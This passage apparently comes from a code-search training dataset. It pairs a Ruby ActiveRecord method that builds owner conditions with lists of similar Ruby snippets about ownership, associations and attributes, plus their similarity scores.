"def set_owner(ownername)\n @result.owner = ownername\n end",
"def owner=(owner)\n set_visible(owner.visible?, owner.id)\n super\n end",
"def autoset_owner\n bypass_auth do\n if accessor\n self.owner_id ||= accessor.id\n end\n end\n\n true # this is very important!\n end",
"def set_owner_property\n @owner_property = OwnerProperty.find(params[:id])\n end",
"def set_object_owner\n @object_owner = ObjectOwner.find(params[:id])\n end",
"def __owner__= owner\n @__owner = owner\n end",
"def owner \n Owner.new(attributes['owner'])\n end",
"def owner=(key_address)\n set_owner_key key_address\n end",
"def autosets_owner_on_create\n has_owner # this will do nothing if the user has already set up has_owner :something\n # the hook runs before validation so we can validate_associated\n before_validation_on_create :autoset_owner\n end",
"def owner=(_)\n end",
"def owner=(v); end",
"def set_owner_member\n self.organizations << self.owner\n end",
"def set_record\n @record = Record.find(current_user.record.id)\n end",
"def set_belongs_to_attr(col, owner, options = {})\n _col = column(col)\n unless belongs_to_synced?(_col, owner)\n _set_attr(_col.name, owner)\n rebuild_relation(_col, owner, set_inverse: options[:set_inverse])\n if _col.polymorphic\n set_polymorphic_attr(_col.name, owner)\n else\n _set_attr(_col.foreign_key, owner ? owner.id : nil)\n end\n end\n\n owner\n end",
"def owner!(user, uuid)\n build_owner(user, uuid).save!\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_OwnerId(value)\n set_input(\"OwnerId\", value)\n end",
"def set_metadata\n return if orcid.present?\n\n self.orcid = orcid_from_url(pid) unless orcid.present?\n self.github = github_owner_from_url(pid) unless github.present?\n\n if orcid.present?\n metadata = get_metadata(orcid, \"orcid\")\n elsif github.present?\n metadata = get_metadata(github, \"github_owner\")\n else\n return nil\n end\n\n return if metadata[:error].present?\n\n author = metadata.fetch('author', []).first\n\n if author.is_a?(Hash)\n self.family_name = author.fetch('family', nil)\n self.given_names = author.fetch('given', nil)\n self.literal = author.fetch('literal', nil)\n elsif author.is_a?(String)\n self.literal = author\n end\n end",
"def set_owner\n @owner = Owner.find_by(name: params[:owner_name])\n unless @owner.present?\n head 404 and return\n end\n end",
"def set_owner_info\n property.owner_email = 'belvillapt@belvilla.com'\n country_info = {\n 'AU' => ['Australia', '1800 442586'],\n 'AT' => ['Austria', '0800 296669'],\n 'BE' => ['Belgium', '(+32) 03 808 09 54'],\n 'CA' => ['Canada', '1800 4045160'],\n 'DK' => ['Denmark', '8088 7970'],\n 'FR' => ['France', '0800 905 849'],\n 'DE' => ['Germany', '0800 1826013'],\n 'IE' => ['Ireland', '1800 552175'],\n 'IT' => ['Italy', '800 871005'],\n 'LU' => ['Luxembourg', '8002 6106'],\n 'NL' => ['Netherlands', '(+31) 088 202 12 12'],\n 'NO' => ['Norway', '800 19321'],\n 'PL' => ['Poland', '(+48) 22 3988048'],\n 'PT' => ['Portugal', '8008 31532'],\n 'ES' => ['Spain', '900 983103'],\n 'SE' => ['Sweden', '020 794849'],\n 'CH' => ['Switzerland', '0800 561913'],\n 'GB' => ['United Kingdom', '0800 0516731'],\n 'US' => ['United States', '1 800 7197573']\n }\n info = meta_data['BasicInformationV3']\n if country_info.has_key?(info['Country'])\n property.owner_city, property.owner_phone_number = country_info[info['Country']]\n end\n end",
"def owner(jid,reason=nil,&blk)\n set_affiliation 'owner', jid, reason, &blk\n end",
"def set_product_owner\n @product_owner = ProductOwner.find(params[:id])\n end",
"def owner\n @owner ||= User.new(connection, :login => @attributes[:owner])\n end",
"def owner\n @attributes[:owner]\n end",
"def set_owner\r\n @dog = User.find(params[:id])\r\n end",
"def merge_owner!(owner_id_or_owner_screen_name)\n case owner_id_or_owner_screen_name\n when Integer\n self[:owner_id] = owner_id_or_owner_screen_name\n when String\n self[:owner_screen_name] = owner_id_or_owner_screen_name\n end\n self\n end",
"def merge_owner!(owner_id_or_owner_screen_name)\n case owner_id_or_owner_screen_name\n when Integer\n self[:owner_id] = owner_id_or_owner_screen_name\n when String\n self[:owner_screen_name] = owner_id_or_owner_screen_name\n end\n self\n end",
"def update_owner(user)\n self.notify = true if self.owner != user\n self.owner = user unless user.nil?\n self.save\n end",
"def construct_owner_attributes(reflection = @reflection)\n attributes = {}\n if reflection.macro == :belongs_to\n attributes[reflection.association_primary_key] = @owner.send(reflection.primary_key_name)\n else\n attributes[reflection.primary_key_name] = @owner.send(reflection.active_record_primary_key)\n\n if reflection.options[:as]\n attributes[\"#{reflection.options[:as]}_type\"] = @owner.class.base_class.name\n end\n end\n attributes\n end",
"def set_owner\n @owner = CacheUser.where(login: params[:login]).first\n if !@owner\n @owner = CacheUser.new(login: params[:login])\n @owner.save!\n end\n end",
"def owner=(newuser) #:nodoc:\n saved? ? raise(NotImplementedError, \"Cannot change a document's owner once the document has been saved\") : super\n end",
"def set_company_owner\n @company_owner = CompanyOwner.find(params[:id])\n end",
"def set_owner_and_roles\n if Member.where(company_id: self.company_id).count == 1\n self.add_role :director\n self.add_role :manager\n self.add_role :tradesman\n self.company.update(owner_id:self.id)\n end\n end",
"def update_owner(organization, owner_id)\n if owner_id\n new_owner = User.find(owner_id)\n\n unless new_owner.owns\n new_owner.organization = organization\n new_owner.save\n end\n end\n end",
"def setFlagOwner _obj, _args\n \"_obj setFlagOwner _args;\" \n end",
"def after_save \n return unless @owner\n\n unless owner_role.nil?\n owner_role.users.each do |user|\n accepts_no_role!( :owner, user ) # unassign previous owners\n end\n end\n \n accepts_role!( :owner, @owner ) # assign new owner\n\n # clean up\n self.reload\n @owner = nil\n end",
"def set_inverse_instance(record)\n if inverse = inverse_association_for(record)\n inverse.inversed_from(owner)\n end\n record\n end",
"def set_LeadOwner(value)\n set_input(\"LeadOwner\", value)\n end",
"def set_associated_object(opts, o)\n raise(Error, \"associated object #{o.inspect} does not have a primary key\") if o && !o.pk\n _set_associated_object(opts, o)\n end",
"def store_owner_id\n self.user_id = self.album.user_id\n end",
"def owner=(owner)\n validator = EnumAttributeValidator.new('String', [\"user\", \"application\"])\n unless validator.valid?(owner)\n fail ArgumentError, \"invalid value for 'owner', must be one of #{validator.allowable_values}.\"\n end\n @owner = owner\n end",
"def update_owner(owner_id, owner_name)\n\t\tif not ActiveRecord::Base.connection.table_exists? 'model_owners'\n\t\t\treturn\n\t\tend\n\t\towner = ModelOwner.where(:inki_model_name => self.class.table_name, :model_id => self.id).first\n\t\tif owner and owner.model_owner_id == owner_id \n\t\t\treturn\n\t\telsif owner # owner exists, but the owner just changed\n\t\t\towner.model_owner_name = owner_name\n\t\t\towner.model_owner_id = owner_id\n\t\t\towner.save\n\t\telse # owner does not exist, create it\n\t\t\tModelOwner.create(:inki_model_name => self.class.table_name, :model_id => self.id, :model_owner_name => owner_name, :model_owner_id => owner_id)\n\t\tend\n\tend",
"def has_owner(attr=nil)\n unless attr.nil?\n id_accessor = \"#{attr.to_s}_id\"\n id_mutator = \"#{attr.to_s}_id=\"\n if attr == :self\n # special case the self attribute but don't allow ownership change\n define_method(:owner_id) do\n id\n end\n else\n define_method(:owner) do\n self.send(attr)\n end\n define_method(:owner_id) do\n self.send(id_accessor)\n end\n define_method(\"owner_id=\") do |new_value|\n self.send(id_mutator,new_value)\n end\n end\n end\n include Ownership \n end",
"def setRelatedObject objid\n attribute_set(:relatedObjectId, objid)\n end",
"def owner\n {owner_id: self.object.user.id, \n owner_account: self.object.user.email}\n end",
"def set_attributes_on_create\n @item.send(\"#{Typus.user_foreign_key}=\", admin_user.id) if @resource.typus_user_id?\n end",
"def change_owner\n @seminar = Seminar.find(params[:id])\n @teacher = Teacher.find(params[:new_owner])\n \n @seminar.update(:owner => @teacher)\n SeminarTeacher.find_or_create_by(:user => @teacher, :seminar => @seminar).update(:can_edit => true)\n \n flash[:success] = \"Class Owner Updated\"\n redirect_to @seminar\n end",
"def set_assigned_owner\n @assigned_owner = AssignedOwner.find(params[:id])\n end",
"def set_property_owner\n @property_owner = PropertyOwner.find(params[:id])\n end",
"def set_publication_owner(name, owner)\n typed_exec(\"ALTER PUBLICATION #{connection.quote_ident(name)} OWNER TO #{connection.quote_ident(owner)}\")\n end",
"def owners=(value)\n @owners = value\n end",
"def set_owner\n @goal.owner = current_user\n end",
"def owner_params\n params.require(:owner).permit(:name, :owner_user_id)\n end",
"def owner=(owner)\n debug \"#{self.artifactid}: Changing owner to '#{self.artifactOwner}'.\"\n begin\n File.chown(Etc.getpwnam(self.owner).uid,nil,self.artifact)\n rescue => detail\n raise Puppet::Error, \"Failed to set owner to '#{self.owner}': #{detail}\"\n end\n end",
"def initialize(owner_id)\n @owner=owner_id\n end",
"def owner_id\n data[:owner_id]\n end",
"def owner_id\n data[:owner_id]\n end",
"def set_owner(user)\n Invitation.create!(:project => self, :user => user, :owner => 1, :admin => 1).accept!\n end",
"def owner_params\n params.require(:owner).permit(:cpf_cnpj, :rg, :data_emissao, :orgao_emissor, :nome, :fantasia, :inscricao_estadual, :instricao_municipal,\n :endereco, :numero, :complemento, :bairro, :cidade, :estado, :cep, :obs, \n emails_attributes: [:setor, :contato, :email, :comprovante, :id, :_destroy],\n contacts_attributes: [:contact, :tipo, :nome, :fone, :complemento, :id, :_destroy],\n ownerships_attributes: [:vehicle_id, :id, :_destroy]\n )\n end",
"def set_owner_and_alliance(new_owner, new_alliance)\n if new_owner != self.owner\n self.owner = new_owner\n self.owner_name = self.owner.nil? ? nil : self.owner.name \n end\n if new_alliance != self.alliance\n self.alliance = new_alliance\n self.alliance_tag = self.alliance.nil? ? nil : self.alliance.tag\n self.alliance_color = self.alliance.nil? ? nil : self.alliance.color\n end\n self.set_special_image(new_owner)\n end",
"def owner_id\n data.owner_id\n end",
"def owner\n @owner ||= User.find(owner_user_id)\n end",
"def set_handle()\n if self.user.handle == nil or self.user.handle == \"\"\n self.handle = self.user.name\n else\n if AssignmentParticipant.find_all_by_parent_id_and_handle(self.assignment.id, self.user.handle).length > 0\n self.handle = self.user.name\n else\n self.handle = self.user.handle\n end\n end \n self.save!\n end",
"def reset_owner #:doc:\n self.owner_class.reset_owner\n end",
"def set_business_owner\n @business_owner = BusinessOwner.find(params[:id])\n end"
] |
[
"0.7617755",
"0.719221",
"0.7087667",
"0.68537277",
"0.68537277",
"0.6841061",
"0.68264353",
"0.67995536",
"0.6788768",
"0.67817754",
"0.67817754",
"0.67817754",
"0.67817754",
"0.67817754",
"0.67817754",
"0.67817754",
"0.67578393",
"0.67467326",
"0.67467326",
"0.67467326",
"0.67467326",
"0.67467326",
"0.66831845",
"0.66418576",
"0.6628736",
"0.66118836",
"0.6531996",
"0.64813",
"0.6425159",
"0.63995147",
"0.635021",
"0.6344844",
"0.62545866",
"0.62466085",
"0.6198883",
"0.6187789",
"0.61375254",
"0.60993665",
"0.60872036",
"0.6071891",
"0.6049318",
"0.6049318",
"0.6049318",
"0.6049318",
"0.6049318",
"0.6049318",
"0.6048767",
"0.6048767",
"0.6048767",
"0.6048767",
"0.6048767",
"0.6047974",
"0.60387343",
"0.600579",
"0.5997551",
"0.5981991",
"0.5958133",
"0.5939986",
"0.59363264",
"0.59209216",
"0.5918325",
"0.59178543",
"0.5910279",
"0.5907185",
"0.59030837",
"0.5890494",
"0.5884445",
"0.5869122",
"0.58193856",
"0.5813129",
"0.58127475",
"0.57898873",
"0.5777582",
"0.5776116",
"0.57689553",
"0.57500327",
"0.574323",
"0.5740376",
"0.573133",
"0.57203364",
"0.57074654",
"0.57070595",
"0.5698369",
"0.56982255",
"0.5694166",
"0.5669358",
"0.5668667",
"0.5661118",
"0.5636052",
"0.56283414",
"0.56192595",
"0.56192595",
"0.56019026",
"0.56018674",
"0.5590101",
"0.55865073",
"0.5581964",
"0.5580234",
"0.5579932",
"0.5567909"
] |
0.8964834
|
0
|
Returns a hash linking the owner to the association represented by the reflection
|
def construct_owner_attributes(reflection = @reflection)
attributes = {}
if reflection.macro == :belongs_to
attributes[reflection.association_primary_key] = @owner.send(reflection.primary_key_name)
else
attributes[reflection.primary_key_name] = @owner.send(reflection.active_record_primary_key)
if reflection.options[:as]
attributes["#{reflection.options[:as]}_type"] = @owner.class.base_class.name
end
end
attributes
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n [_hash, name, owner].hash\n end",
"def owner_association\n owner_ref(self).send(owner_association_name.to_sym)\n end",
"def hash\n [principals, relation].hash\n end",
"def association_owner_key(assoc, key)\n k = 'activerecord.associations.models.'\n k << assoc.active_record.model_name.singular\n k << '.'\n k << assoc.name.to_s\n k << '.'\n k << key.to_s\n end",
"def owner\n @attributes[:owner]\n end",
"def association_reflection\n @opts[:association_reflection]\n end",
"def owner\n {owner_id: self.object.user.id, \n owner_account: self.object.user.email}\n end",
"def association_attributes\n outgoing_reflections.values.map { |reflection| reflection.foreign_key.to_s }\n end",
"def hash\n\t\treturn [ self.class, self.dn ].hash\n\tend",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def owner; h.owner; end",
"def association_reflection(name)\n association_reflections[name]\n end",
"def owner\n attribute_prop(6)\n end",
"def associations\n association_reflections.keys\n end",
"def owner_key_name\n reflection.join_foreign_key\n end",
"def owner_key_name\n reflection.join_foreign_key\n end",
"def association_for(reflection)\n inverse = inverse_association_name(reflection)\n Registry[reflection.klass].detect do |mapping|\n association = mapping.associations.detect { |a| a.name == inverse }\n break association if association\n end\n end",
"def owner\n build_object attributes['owner'], default_class: Role\n end",
"def replicate_reflection_info(reflection)\n options = reflection.options\n if options[:polymorphic]\n reference_class =\n if ::ActiveRecord::VERSION::MAJOR == 3 && ::ActiveRecord::VERSION::MINOR > 0\n attributes[reflection.foreign_type]\n else\n attributes[options[:foreign_type]]\n end\n return if reference_class.nil?\n\n klass = reference_class.constantize\n primary_key = klass.primary_key\n foreign_key = \"#{reflection.name}_id\"\n else\n klass = reflection.klass\n primary_key = (options[:primary_key] || klass.primary_key).to_s\n foreign_key = (options[:foreign_key] || \"#{reflection.name}_id\").to_s\n end\n\n info = {\n :class => klass,\n :primary_key => primary_key,\n :foreign_key => foreign_key\n }\n\n if primary_key == klass.primary_key\n if id = attributes[foreign_key]\n info[:replicant_id] = [klass.to_s, id]\n else\n # nil value in association reference\n end\n else\n # association uses non-primary-key foreign key. no special key\n # conversion needed.\n end\n\n info\n end",
"def owner \n Owner.new(attributes['owner'])\n end",
"def owner_id\n data.owner_id\n end",
"def inverse_class\n @owner_class\n end",
"def owner_id\n data[:owner_id]\n end",
"def owner_id\n data[:owner_id]\n end",
"def hash\n [discriminator, name].hash\n end",
"def link_belongs_to(reflection)\n reflection.foreign_key.to_sym\n end",
"def owner_id\n @delegated_to_object.nsid\n end",
"def all_association_reflections\n association_reflections.values\n end",
"def hash\n [_name, _type, _klass].hash\n end",
"def commit_hash(origin_class = nil)\n @origin_class = origin_class\n combined = self.attributes.reject { |k, v| self.class.skipped_columns.push(self.get_origin_foreign_key).flatten.include?(k.to_s) }.values.join(':')\n combined += self.class.associations.inject([]) do |arr, assoc_name|\n association = self.send(assoc_name)\n association.is_a?(Array) ? association.map { |a| a.commit_hash(self.class) } : association.commit_hash\n end.join(':')\n #Digest::SHA1.hexdigest(combined) \n end",
"def owners_to_hash(attributes: nil, relationships: nil)\n owners.map { |o| o.to_hash(attributes: [:title], relationships: nil) }\n end",
"def owners\n @obj['owners']\n end",
"def hash\n self.class.name.hash\n end",
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def hash_fk_model\n foreign_keys = {}\n @model_class.reflect_on_all_associations(:belongs_to).map{ |r|\n foreign_keys[r.association_foreign_key.to_sym] = r.name\n }\n foreign_keys\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def association_key_name\n reflection.join_primary_key(klass)\n end",
"def hash\n [class_id, object_type, account_moid, create_time, domain_group_moid, mod_time, moid, owners, shared_scope, tags, version_context, ancestors, parent, permission_resources, display_names].hash\n end",
"def owner\n @owner\n end",
"def association_key(assoc)\n model.association_reflection(assoc)[:key]\n end",
"def owner_name\n @delegated_to_object.name\n end",
"def fetch_key(reflection)\n case reflection.macro\n when :belongs_to then link_belongs_to(reflection)\n when :has_many then link_has_many(reflection)\n when :has_one then link_has_one(reflection)\n end\n end",
"def proxy_owner\n @owner\n end",
"def association_key_name\n reflection.join_primary_key(klass)\n end",
"def owner\n @address_book_info['principaluri']\n end",
"def associated_object_keys\n self[:keys]\n end",
"def association\n matches = form.object_name.scan(/\\[([^\\]]+)\\]\\[[^\\]]+\\]\\z/).flatten\n return matches.first.delete_suffix('_attributes') if matches.size.positive?\n\n form.object.class.to_s.tableize\n end",
"def hash\n [self.class, id].hash\n end",
"def scaf_assoc_hash\n Hash[*scaf_belongs_tos.collect {|a| [a.primary_key_name, a]}.flatten]\n end",
"def associations_hash\n @associations_hash ||= {\n has_many: [],\n belongs_to: []\n }\n end",
"def association\n relation(source).associations[target]\n end",
"def owner\n return @owner\n end",
"def owner\n return @owner\n end",
"def owner\n return @owner\n end",
"def owner\n return @owner\n end",
"def owner\n return @owner\n end",
"def link_has_one(reflection)\n reflection.name\n end",
"def reflect_on_association(association)\n reflections[association.to_s]\n end",
"def reflect_on_association(association)\n reflections[association.to_s]\n end",
"def owner\n @principal_uri\n end",
"def owner\n @principal_uri\n end",
"def hash\n [links, organization_id].hash\n end",
"def mapping_for(reflection)\n inverse = inverse_association_name(reflection)\n Registry[reflection.klass].detect do |mapping|\n mapping.associations.any? { |a| a.name == inverse }\n end\n end",
"def association\n @association ||= model.reflect_on_association(@name)\n end",
"def reflect_on_association(name)\n association_by_name[name.to_sym]\n end",
"def model_relationships\n hash = ActiveSupport::OrderedHash.new\n reflect_on_all_associations.map { |i| hash[i.name] = i.macro }\n return hash\n end",
"def inverse_association_name(reflection)\n reflection.send(:inverse_name)\n end",
"def owners_by_key\n @owners_by_key ||= owners.group_by do |owner|\n key = owner[owner_key_name]\n key && key.to_s\n end\n end",
"def association_method\n self[:name]\n end",
"def association_scope_cache(klass, owner, &block)\n key = self\n key = [key, owner._read_attribute(@foreign_type)] if polymorphic?\n key = [key, shard(owner).id].flatten\n klass.cached_find_by_statement(key, &block)\n end",
"def owner\n user_id\n end",
"def to_representor_hash\n @representor_hash\n end",
"def hash\n object_id\n end",
"def hash\n dn.hash\n end",
"def to_s\n owner.to_s\n end",
"def association_keys\n association\n .__send__(:join_key_map, container.relations)\n end",
"def hash\n self.atoms.hash\n end",
"def hash\n\t\treturn self.name.to_s.hash\n\tend",
"def object\n if inside_association?\n proxy_owner\n else\n self\n end\n end",
"def owner_name\n payload['repository']['owner']['name']\n end",
"def hash\n [edge, interim_client, role].hash\n end",
"def association_names\n self.class._associations.keys\n end",
"def hash\n [description, routing_number, account_number, account_type, signatory, metadata, id, signature_url, bank_name, verified, date_created, date_modified, deleted, object].hash\n end",
"def owner\n self.person\n end",
"def association_id\n data[:association_id]\n end",
"def hash\n [aid, created_on, description, enabled, error, id, index, invalidated_on, language_version, modified_on, name, rule, uid, warning, owner].hash\n end",
"def owner=(v) self['Owner'] = v end",
"def owner\n @owner ||= User.new(connection, :login => @attributes[:owner])\n end",
"def identity_publisher_hash\n return @identity_publisher_hash\n end",
"def association\n @association\n end",
"def association_reflection(association)\n uar = used_association_reflections\n Sequel.synchronize{uar[association] ||= true}\n super\n end",
"def association_method\n self[:name]\n end",
"def to_h\n super.merge owner: owner, group: group\n end",
"def owners\n @data['owners']\n end",
"def associations\n model.relationships.to_a.collect { |name,rel|\n {\n :name => name.to_s,\n :type => association_type_lookup( rel ), # :has_many, :has_one, or :belongs_to\n :parent_model => rel.parent_model,\n :parent_key => rel.parent_key.collect { |p| p.name },\n :child_model => rel.child_model,\n :child_key => rel.child_key.collect { |p| p.name },\n :remote_rel => rel.options[:remote_relationship_name],\n :near_rel => rel.options[:near_relationship_name]\n }\n }\n end",
"def used_association_reflections\n Sequel.synchronize{@used_association_reflections ||= {}}\n end",
"def author_hash; end",
"def for_association\n out = {\n id: self.id,\n body: self.to_html,\n date: self.created_at,\n user: nil\n }\n\n if user.nil?\n out[:user] = {\n id: nil,\n name: \"Deleted User\",\n uri_name: \"\"\n }\n else\n out[:user] = self.user.for_association\n end\n\n out\n end",
"def save_belongs_to_association(reflection)\n association = association_instance_get(reflection.name)\n return unless association && association.loaded? && !association.stale_target?\n\n record = association.load_target\n if record && !record.destroyed?\n autosave = reflection.options[:autosave]\n\n if autosave && record.marked_for_destruction?\n foreign_key = Array(reflection.foreign_key)\n foreign_key.each { |key| self[key] = nil }\n record.destroy\n elsif autosave != false\n saved = record.save(validate: !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)\n\n if association.updated?\n primary_key = Array(compute_primary_key(reflection, record)).map(&:to_s)\n foreign_key = Array(reflection.foreign_key)\n\n primary_key_foreign_key_pairs = primary_key.zip(foreign_key)\n primary_key_foreign_key_pairs.each do |primary_key, foreign_key|\n association_id = record._read_attribute(primary_key)\n self[foreign_key] = association_id unless self[foreign_key] == association_id\n end\n association.loaded!\n end\n\n saved if autosave\n end\n end\n end",
"def association_key\n table[association_key_name]\n end"
] |
[
"0.68757844",
"0.6538791",
"0.6401935",
"0.6383943",
"0.6272353",
"0.62587225",
"0.6254022",
"0.62203896",
"0.619685",
"0.61707145",
"0.6166494",
"0.61453474",
"0.59729564",
"0.5965282",
"0.59565276",
"0.59565276",
"0.5937785",
"0.59173775",
"0.5905549",
"0.58312654",
"0.5811236",
"0.5795151",
"0.577566",
"0.577566",
"0.5773169",
"0.57730097",
"0.57721925",
"0.5755701",
"0.57484925",
"0.57326514",
"0.57300013",
"0.5724566",
"0.56777745",
"0.56704426",
"0.56383264",
"0.56230164",
"0.5622955",
"0.5621741",
"0.5621115",
"0.56056774",
"0.5599427",
"0.5590227",
"0.55899924",
"0.5581162",
"0.558103",
"0.556587",
"0.55634063",
"0.55610025",
"0.55525184",
"0.5546472",
"0.55421305",
"0.55403495",
"0.55403495",
"0.55403495",
"0.55403495",
"0.55403495",
"0.5535771",
"0.55264246",
"0.55264246",
"0.54857635",
"0.54857635",
"0.54842126",
"0.54834205",
"0.5464135",
"0.54547715",
"0.5449268",
"0.5445073",
"0.54435134",
"0.5437535",
"0.54346174",
"0.54311615",
"0.5412279",
"0.5402433",
"0.5402037",
"0.5400956",
"0.5397385",
"0.5395607",
"0.5388818",
"0.53805614",
"0.53798074",
"0.53760135",
"0.5370247",
"0.5369417",
"0.53658116",
"0.5352305",
"0.5350943",
"0.5348722",
"0.53404737",
"0.53343254",
"0.5312386",
"0.5305223",
"0.53007483",
"0.5297652",
"0.5293205",
"0.5279038",
"0.527163",
"0.52600527",
"0.5255015",
"0.5247204",
"0.52466327"
] |
0.66429985
|
1
|
Builds an array of arel nodes from the owner attributes hash
|
def construct_owner_conditions(table = aliased_table, reflection = @reflection)
construct_owner_attributes(reflection).map do |attr, value|
table[attr].eq(value)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def attributes\n attribute_nodes.each_with_object({}) do |node, hash|\n hash[node.node_name] = node\n end\n end",
"def build_internal_nodes\n names.each do |tmp_geo_area|\n recurse_nodes(tmp_geo_area.parent_names, tmp_geo_area)\n end\n end",
"def attribute_nodes\n @attribute_nodes ||= NodeSetProxy.new(@node.attribute_nodes, self)\n end",
"def nodes(attrs={})\n if attrs.is_a?(Hash) and attrs.has_key?(:type)\n attrs[:type].constantize.find(session, \"label_node_ids LIKE '%#{id}%'\")\n else\n Ecore::Node.find(session, \"label_node_ids LIKE '%#{id}%'\")\n #.inject(NodeArray.new) do |arr,n|\n # n.session = session\n # arr << n\n #end\n end\n end",
"def nodes\n return @nodes_structure if @nodes_structure\n @nodes_structure = {}\n cib_section_nodes_state.each do |node_state|\n node = attributes_to_hash node_state\n node_name = node['uname']\n next unless node_name\n lrm = node_state.elements['lrm']\n next unless lrm\n lrm_resources = cib_section_lrm_resources lrm\n next unless lrm_resources\n resources = decode_lrm_resources lrm_resources\n node.store 'primitives', resources\n @nodes_structure.store node_name, node\n end\n @nodes_structure\n end",
"def build_adjacency_list\n\n r = join_people_by_relationship_type\n\n h = {}\n r.each {|rr|\n id = rr[0]\n h[id] = {:id => id, :name => rr[1], :children => []} if h[id].nil? # if there's no hash entry for this person, make one.\n h[id][:children] << {:id => rr[2], :name => rr[3], :children => []} # enter the person's subordinates as children into the hash. (source / sink)\n }\n h\n end",
"def owner_chains\n if owners == []\n [[self.id]]\n else\n owners.map(&:c).map(&:owner_chains).reduce(:+).map{|i| [self.id]+i}\n end\n end",
"def attributions_objects\n self.parent.attributions.collect { |a| a.other_object }\n end",
"def to_a\n ret = [self]\n if self.kids\n self.kids.each do |kid|\n kid.to_a.each {|node|\n ret.push node\n }\n end\n end\n ret\n end",
"def attributes\n {id: id, ids: ids, type: type, owner_id: owner_id}\n end",
"def build_node_from_model( n )\n return {\n 'id' => n['key'].to_i,\n 'parent_id' => n['parent'].to_i,\n 'children' => [],\n 'weight' => n['weight'].to_i / 100.0,\n 'operation' => n['name'],\n 'metric' => n['dataname']\n }\n end",
"def enumerate_nodes\n SortedSet[* @node_attrs.keys]\n end",
"def enumerate_nodes\n SortedSet[* @node_attrs.keys]\n end",
"def build(attributes)\n @relationship.build(attributes) do |record|\n record.access_to = @owner.owner\n end\n end",
"def get_node_attributes_stub\n []\n end",
"def create_arr\n k = []\n n = self.first\n until n.nil? do\n if n.value.is_a? Linkedlist\n k.append(n.value.create_arr)\n else\n k.append(n.value)\n end\n n = n.next\n end\n return k\n end",
"def build_relationship_token_map\n rel_map = HashExtra[Hash.new{|h,k| h[k] = Set.new}]\n my_name = name_sym.to_s # no leading module names\n relationships.each do |(rel_name,)|\n toks = (rel_name.split('_') - [my_name])\n toks.each{|tok| rel_map[tok].add(rel_name)}\n end\n rel_map\n end",
"def populate_ordering\n\t\tordering = Array.new\n\t\tself.nodes.each do |node|\n\t\t\tordering.push(ObjectPlace.new(\"Node\", node.id))\n\t\t\t#puts \"Node\" + node.id.to_s\n\t\t\tnode.notes.each do |note|\n\t\t\t\tordering.push(ObjectPlace.new(\"Note\", note.id))\n\t\t\t\t#puts \"Note\" + note.id.to_s\n\t\t\tend\n\t\tend\n\t\treturn ordering\n\tend",
"def key_attributes\n [\n first_and_middle_names,\n family_name,\n date_of_birth,\n place_of_birth,\n parent_first_and_middle_names,\n parent_family_name,\n other_parent_first_and_middle_names,\n other_parent_family_name\n ]\n end",
"def owners_to_hash(attributes: nil, relationships: nil)\n owners.map { |o| o.to_hash(attributes: [:title], relationships: nil) }\n end",
"def attribute_list(el); end",
"def transfer_node_attributes(nodes, attributes); end",
"def to_ast\n [:section, [\n name,\n type,\n Element::Attributes.new(attributes).to_ast,\n children.map(&:to_ast),\n ]]\n end",
"def nodes\n @nodes ||= {}\n end",
"def nodes\n @nodes ||= {}\n end",
"def nodes\n @nodes ||= each_node.to_a\n end",
"def org_tree_node(o = nil)\n orgs = {}\n @org_ids ||= {}\n (o ? o.children : Organization.find(Organization.find(organization_id).parent).children).order('name').each do |org|\n # collect roles associated with each org\n @org_ids[org.id] ||= {}\n orgs[org.id] = org_tree_node(org)\n end\n orgs\n end",
"def get_ead_creators\n get_ead_creators = NAME_FIELDS.map {|field| search(\"//origination[@label='creator']/#{field}\") }\n # Flatten nested arrays into one top level array\n get_ead_creators = get_ead_creators.flatten\n # Map to the text value and remove nils\n get_ead_creators = get_ead_creators.map(&:text).compact\n return get_ead_creators\n end",
"def nodesCreate\n nodes=Array.new\n @parser.getAllNodes.each do |node|\n nodes.push(Node.new(@parser.getNodeName(node), @parser.getOS(node)))\n nodes.last.interfaces=interfacesCreate(node)\n nodes.last.toInstall=listToInstall(node)\n end\n return nodes\n end",
"def create_nodes\n @nodes = [*0...@table.flatten.length]\n end",
"def nodelist; end",
"def nodelist; end",
"def controlaccess_elements(marc)\n elements = []\n # corpname\n elements.concat controlaccess_elements_for_tags(marc, ['610','611','710','711','697'], 'corpname')\n # persname\n elements.concat controlaccess_elements_for_tags(marc, ['600','700'], 'persname')\n # geogname\n elements.concat controlaccess_elements_for_tags(marc, ['651'], 'geogname')\n # subject\n elements.concat controlaccess_elements_for_tags(marc, ['650'], 'subject')\n # genreform\n elements.concat controlaccess_elements_for_tags(marc, ['655'], 'genreform')\n # occupation\n elements.concat controlaccess_elements_for_tags(marc, ['656'], 'occupation',['2'])\n # function\n functions = marc.fields('657').map do |field|\n { name: 'function', value: field.subfields.map(&:value).join(' '), attrs: { encodinganalog: '657' } }\n end.to_a\n elements.concat functions\n # title\n titles = marc.fields('630').map do |field|\n { name: 'title', value: field.subfields.map(&:value).join(' '), attrs: { encodinganalog: '630' } }\n end.to_a\n elements.concat titles\n titles = marc.fields('730').map do |field|\n { name: 'title', value: field.subfields.map(&:value).join(' '), attrs: { encodinganalog: '730' } }\n end.to_a\n elements.concat titles\n controlaccess = {\n name: 'controlaccess',\n children: elements\n }\n [controlaccess]\n end",
